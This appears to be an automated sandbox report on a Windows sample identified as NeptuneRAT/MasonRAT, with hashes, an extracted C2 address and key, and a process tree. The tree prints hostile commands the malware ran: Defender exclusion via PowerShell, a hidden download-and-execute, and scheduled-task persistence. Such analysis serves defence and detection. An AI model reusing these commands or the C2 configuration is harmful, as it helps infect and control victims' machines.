Analysis
- max time kernel
31s - max time network
54s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
05/08/2026, 01:20
Static task
static1
Behavioral task
behavioral1
Sample
Bypassed.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
Bypassed.exe
Resource
win10ltsc2021-20260513-en
Behavioral task
behavioral3
Sample
Bypassed.exe
Resource
win11-20260513-en
Behavioral task
behavioral4
Sample
Bypassed.exe
Resource
win11ltsc2024-20260709-en
Errors
General
- Target Bypassed.exe
- Size 1.9MB
- Sample260805-bqeelshk2w
- SHA256 c8446d701d99c5c75a98633f56c3dcce2f0a53c6ebfa542810674f539dc7e896
- MD5 895088641b452ca046da55b8901462d7
- SHA1 e1756aa09e0ead1a6ee58e9b409192043e614822
- SHA512 0cc1108513076c1bac555d01ced27aae9d138d1463416fd056e459b967145f7b19f0e5e0e561ec12483484a874d204773a5170a494e550c29f0a5e29ce02fb7a
- SSDEEP 49152:BMXA6xXZgFUd7gvy3XHHooAj3JJqrdrp9ZjXXkGE8AJ7gnX6cHIQS1eXApMbEJMy:
- TLSH T11995A1141EEE181963B2AE6D5BD478DFC45EABA33B0710F614F2028E4711D93C9E27B9
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
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neptunerat
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82.22.62.124:443
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filename
MasonUSB.exe
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group
MasonGroup
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key
eacBkjvaIIlrNRCZ
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rat_name
MasonRAT
Signatures
- Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
- Detects NeptuneRAT stealer 2 IoCs
resource yara_rule behavioral4/memory/6092-37-0x00000000024A0000-0x00000000024E4000-memory.dmp family_neptunerat behavioral4/memory/6092-325-0x000000001B500000-0x000000001B512000-memory.dmp family_neptunerat - Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 712 powershell.exe 3988 powershell.exe 2628 powershell.exe - Executes dropped EXE 5 IoCs
pid Process 3316 1434a831-da50-4996-ad80-171edd7dc6d3.exe 1452 svhost.exe 6092 svhost.exe 1996 qxxy5ycs.bjo.exe 3004 svhost.exe - Drops file in System32 directory 7 IoCs
description ioc Process File opened for modification C:\Windows\System32\CatRoot2\dberr.txt svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 svchost.exe File opened for modification C:\Windows\System32\Tasks\svhost svchost.exe - Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\svhost.exe 1434a831-da50-4996-ad80-171edd7dc6d3.exe File opened for modification C:\Windows\svhost.exe 1434a831-da50-4996-ad80-171edd7dc6d3.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1304 cmd.exe - Modifies data under HKEY_USERS 14 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={CA9429C2-6916-4B03-AC98-93B0F8ECFE4A}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "17110992,504928405,41816131,507286179,7202265,17110988,7153487,504928410,577889346,5804129,17962391,508368333,17962392,41484365,24262478,9179409,3462423,3702920,3700754,3965062,24262474,4297094,7153421,3462365,18716193,7153435,24262477,25036127,24262473,9179410,20502174,6308191,18407617,39125643,539756558,6104718,9179411,51475283,41185282,39389248,539756557,528570079,7202269" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,940 10,941 10,942 10,943 10,940 15,1329 15,940 6,944 50,944 10,941 15,942 15,940 50,943 15,944 6,944 15,943 6,1329 50,1329 100,1329 6,941 6,942 6,944 100,940 100" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1785892864" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Mon, 03 Aug 2026 13:52:57 GMT" OfficeClickToRun.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3692 schtasks.exe 5884 SCHTASKS.exe 3852 SCHTASKS.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3988 powershell.exe 3988 powershell.exe 2628 powershell.exe 2628 powershell.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 712 powershell.exe 712 powershell.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 712 powershell.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 712 powershell.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 712 powershell.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 712 powershell.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe 1996 qxxy5ycs.bjo.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4268 explorer.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3316 1434a831-da50-4996-ad80-171edd7dc6d3.exe Token: SeDebugPrivilege 3988 powershell.exe Token: SeIncreaseQuotaPrivilege 3988 powershell.exe Token: SeSecurityPrivilege 3988 powershell.exe Token: SeTakeOwnershipPrivilege 3988 powershell.exe Token: SeLoadDriverPrivilege 3988 powershell.exe Token: SeSystemProfilePrivilege 3988 powershell.exe Token: SeSystemtimePrivilege 3988 powershell.exe Token: SeProfSingleProcessPrivilege 3988 powershell.exe Token: SeIncBasePriorityPrivilege 3988 powershell.exe Token: SeCreatePagefilePrivilege 3988 powershell.exe Token: SeBackupPrivilege 3988 powershell.exe Token: SeRestorePrivilege 3988 powershell.exe Token: SeShutdownPrivilege 3988 powershell.exe Token: SeDebugPrivilege 3988 powershell.exe Token: SeSystemEnvironmentPrivilege 3988 powershell.exe Token: SeRemoteShutdownPrivilege 3988 powershell.exe Token: SeUndockPrivilege 3988 powershell.exe Token: SeManageVolumePrivilege 3988 powershell.exe Token: 33 3988 powershell.exe Token: 34 3988 powershell.exe Token: 35 3988 powershell.exe Token: 36 3988 powershell.exe Token: SeDebugPrivilege 2628 powershell.exe Token: SeIncreaseQuotaPrivilege 2628 powershell.exe Token: SeSecurityPrivilege 2628 powershell.exe Token: SeTakeOwnershipPrivilege 2628 powershell.exe Token: SeLoadDriverPrivilege 2628 powershell.exe Token: SeSystemProfilePrivilege 2628 powershell.exe Token: SeSystemtimePrivilege 2628 powershell.exe Token: SeProfSingleProcessPrivilege 2628 powershell.exe Token: SeIncBasePriorityPrivilege 2628 powershell.exe Token: SeCreatePagefilePrivilege 2628 powershell.exe Token: SeBackupPrivilege 2628 powershell.exe Token: SeRestorePrivilege 2628 powershell.exe Token: SeShutdownPrivilege 2628 powershell.exe Token: SeDebugPrivilege 2628 powershell.exe Token: SeSystemEnvironmentPrivilege 2628 powershell.exe Token: SeRemoteShutdownPrivilege 2628 powershell.exe Token: SeUndockPrivilege 2628 powershell.exe Token: SeManageVolumePrivilege 2628 powershell.exe Token: 33 2628 powershell.exe Token: 34 2628 powershell.exe Token: 35 2628 powershell.exe Token: 36 2628 powershell.exe Token: SeDebugPrivilege 1452 svhost.exe Token: SeDebugPrivilege 6092 svhost.exe Token: SeDebugPrivilege 6092 svhost.exe Token: SeDebugPrivilege 1996 qxxy5ycs.bjo.exe Token: SeShutdownPrivilege 4268 explorer.exe Token: SeCreatePagefilePrivilege 4268 explorer.exe Token: SeShutdownPrivilege 4268 explorer.exe Token: SeCreatePagefilePrivilege 4268 explorer.exe Token: SeShutdownPrivilege 4268 explorer.exe Token: SeCreatePagefilePrivilege 4268 explorer.exe Token: SeShutdownPrivilege 4268 explorer.exe Token: SeCreatePagefilePrivilege 4268 explorer.exe Token: SeDebugPrivilege 712 powershell.exe Token: SeShutdownPrivilege 4268 explorer.exe Token: SeCreatePagefilePrivilege 4268 explorer.exe Token: SeShutdownPrivilege 4268 explorer.exe Token: SeCreatePagefilePrivilege 4268 explorer.exe Token: SeShutdownPrivilege 4268 explorer.exe Token: SeCreatePagefilePrivilege 4268 explorer.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3532 Conhost.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4340 wrote to memory of 3316 4340 Bypassed.exe 88 PID 3316 wrote to memory of 3988 3316 1434a831-da50-4996-ad80-171edd7dc6d3.exe 89 PID 3316 wrote to memory of 2628 3316 1434a831-da50-4996-ad80-171edd7dc6d3.exe 92 PID 6092 wrote to memory of 1996 6092 svhost.exe 97 PID 6092 wrote to memory of 5884 6092 svhost.exe 98 PID 1996 wrote to memory of 736 1996 qxxy5ycs.bjo.exe 5 PID 1996 wrote to memory of 964 1996 qxxy5ycs.bjo.exe 9 PID 1996 wrote to memory of 972 1996 qxxy5ycs.bjo.exe 10 PID 1996 wrote to memory of 1004 1996 qxxy5ycs.bjo.exe 11 PID 1996 wrote to memory of 848 1996 qxxy5ycs.bjo.exe 13 PID 1996 wrote to memory of 1092 1996 qxxy5ycs.bjo.exe 14 PID 1996 wrote to memory of 1188 1996 qxxy5ycs.bjo.exe 15 PID 1996 wrote to memory of 1200 1996 qxxy5ycs.bjo.exe 16 PID 1996 wrote to memory of 1284 1996 qxxy5ycs.bjo.exe 17 PID 1996 wrote to memory of 1324 1996 qxxy5ycs.bjo.exe 18 PID 1996 wrote to memory of 1444 1996 qxxy5ycs.bjo.exe 20 PID 1996 wrote to memory of 1576 1996 qxxy5ycs.bjo.exe 22 PID 1996 wrote to memory of 1584 1996 qxxy5ycs.bjo.exe 23 PID 1996 wrote to memory of 1652 1996 qxxy5ycs.bjo.exe 24 PID 1996 wrote to memory of 1724 1996 qxxy5ycs.bjo.exe 25 PID 1996 wrote to memory of 1732 1996 qxxy5ycs.bjo.exe 26 PID 1996 wrote to memory of 1976 1996 qxxy5ycs.bjo.exe 27 PID 1996 wrote to memory of 2036 1996 qxxy5ycs.bjo.exe 28 PID 1996 wrote to memory of 1496 1996 qxxy5ycs.bjo.exe 29 PID 1996 wrote to memory of 2104 1996 qxxy5ycs.bjo.exe 30 PID 1996 wrote to memory of 2112 1996 qxxy5ycs.bjo.exe 31 PID 1996 wrote to memory of 2252 1996 qxxy5ycs.bjo.exe 32 PID 1996 wrote to memory of 2284 1996 qxxy5ycs.bjo.exe 33 PID 1996 wrote to memory of 2364 1996 qxxy5ycs.bjo.exe 34 PID 1996 wrote to memory of 2488 1996 qxxy5ycs.bjo.exe 35 PID 1996 wrote to memory of 2580 1996 qxxy5ycs.bjo.exe 36 PID 1996 wrote to memory of 2640 1996 qxxy5ycs.bjo.exe 37 PID 1996 wrote to memory of 2664 1996 qxxy5ycs.bjo.exe 38 PID 1996 wrote to memory of 2760 1996 qxxy5ycs.bjo.exe 39 PID 1996 wrote to memory of 2768 1996 qxxy5ycs.bjo.exe 40 PID 1996 wrote to memory of 2860 1996 qxxy5ycs.bjo.exe 41 PID 1996 wrote to memory of 2932 1996 qxxy5ycs.bjo.exe 42 PID 1996 wrote to memory of 3052 1996 qxxy5ycs.bjo.exe 43 PID 1996 wrote to memory of 3084 1996 qxxy5ycs.bjo.exe 45 PID 1996 wrote to memory of 3100 1996 qxxy5ycs.bjo.exe 46 PID 1996 wrote to memory of 3172 1996 qxxy5ycs.bjo.exe 47 PID 1996 wrote to memory of 3464 1996 qxxy5ycs.bjo.exe 48 PID 1996 wrote to memory of 3580 1996 qxxy5ycs.bjo.exe 49 PID 1996 wrote to memory of 3592 1996 qxxy5ycs.bjo.exe 50 PID 1996 wrote to memory of 3600 1996 qxxy5ycs.bjo.exe 51 PID 1996 wrote to memory of 3612 1996 qxxy5ycs.bjo.exe 52 PID 1996 wrote to memory of 3624 1996 qxxy5ycs.bjo.exe 53 PID 1996 wrote to memory of 3664 1996 qxxy5ycs.bjo.exe 54 PID 1996 wrote to memory of 3320 1996 qxxy5ycs.bjo.exe 55 PID 1996 wrote to memory of 1132 1996 qxxy5ycs.bjo.exe 56 PID 1996 wrote to memory of 4356 1996 qxxy5ycs.bjo.exe 57 PID 1996 wrote to memory of 4408 1996 qxxy5ycs.bjo.exe 58 PID 1996 wrote to memory of 4444 1996 qxxy5ycs.bjo.exe 59 PID 1996 wrote to memory of 4668 1996 qxxy5ycs.bjo.exe 60 PID 1996 wrote to memory of 4724 1996 qxxy5ycs.bjo.exe 61 PID 1996 wrote to memory of 5032 1996 qxxy5ycs.bjo.exe 62 PID 1996 wrote to memory of 5148 1996 qxxy5ycs.bjo.exe 63 PID 1996 wrote to memory of 5248 1996 qxxy5ycs.bjo.exe 64 PID 1996 wrote to memory of 5496 1996 qxxy5ycs.bjo.exe 67 PID 1996 wrote to memory of 6112 1996 qxxy5ycs.bjo.exe 69 PID 1996 wrote to memory of 5800 1996 qxxy5ycs.bjo.exe 70 PID 1996 wrote to memory of 820 1996 qxxy5ycs.bjo.exe 72 PID 1996 wrote to memory of 3044 1996 qxxy5ycs.bjo.exe 74 PID 1996 wrote to memory of 5744 1996 qxxy5ycs.bjo.exe 76 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:736
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C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"2⤵PID:964
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1200
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C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"1⤵PID:972
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C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-347b7a3e-e75e-47bb-9b88-21c0569ad520 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-b8e8e344-2b2a-4e93-a243-5af3bf8f325f -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-2338778b-e6d4-4f0e-8a25-26fc02e12423 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-8e25dd0f-e315-40aa-be3c-000302027ccf -LifetimeId:04db359b-8495-4455-8fdb-cfdd2cc3106d -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵PID:1004
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:848
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
- Drops file in System32 directory
PID:1092
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1188
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1284
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1324
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1444
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵PID:1576
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1584
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1652 -
C:\Windows\svhost.exe"C:\Windows\svhost.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:6092 -
C:\Users\Admin\AppData\Local\Temp\qxxy5ycs.bjo.exe"C:\Users\Admin\AppData\Local\Temp\qxxy5ycs.bjo.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1996
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C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:5884
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C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:3852 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:2996
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr '-' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:712 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:1704
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3692 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:1364
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /delete /f /tn "svhost"3⤵PID:4556
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA1DF.tmp.bat""3⤵
- Executes a command shell one-liner
PID:1304
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc1⤵PID:1724
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1732
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1976
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:3256
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C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS3⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:4268 -
C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:4340 -
C:\Users\Admin\AppData\Local\Temp\1434a831-da50-4996-ad80-171edd7dc6d3.exe"C:\Users\Admin\AppData\Local\Temp\1434a831-da50-4996-ad80-171edd7dc6d3.exe"5⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3316 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svhost.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3988
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2628
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:2036
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1496
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:2104
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:2112
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:2252
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:2284
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:2364
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:2488
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2580
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService1⤵PID:2640
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C:\Windows\system32\ctfmon.exe/QuitInfo:0000000000000268;000000000000026C;2⤵PID:5032
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2664
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc1⤵PID:2760
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc1⤵PID:2768
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2860
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2932
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:3052
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:3084
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:3100
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc1⤵PID:3172
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C:\Windows\System32\ShellHost.exe"C:\Windows\System32\ShellHost.exe"1⤵PID:3464
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:3580
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:3592
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:3600
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:3612
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:3624
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:3664
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3320
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:1132
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4356
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4408
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:4444
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:4668
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4724
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:5148
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C:\Windows\System32\SecurityHealthSystray.exe"C:\Windows\System32\SecurityHealthSystray.exe"1⤵PID:5248
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc1⤵PID:5496
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall1⤵PID:6112
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:5800
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:820
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C:\Windows\System32\smartscreen.exeC:\Windows\System32\smartscreen.exe -Embedding1⤵PID:3044
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:5744
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
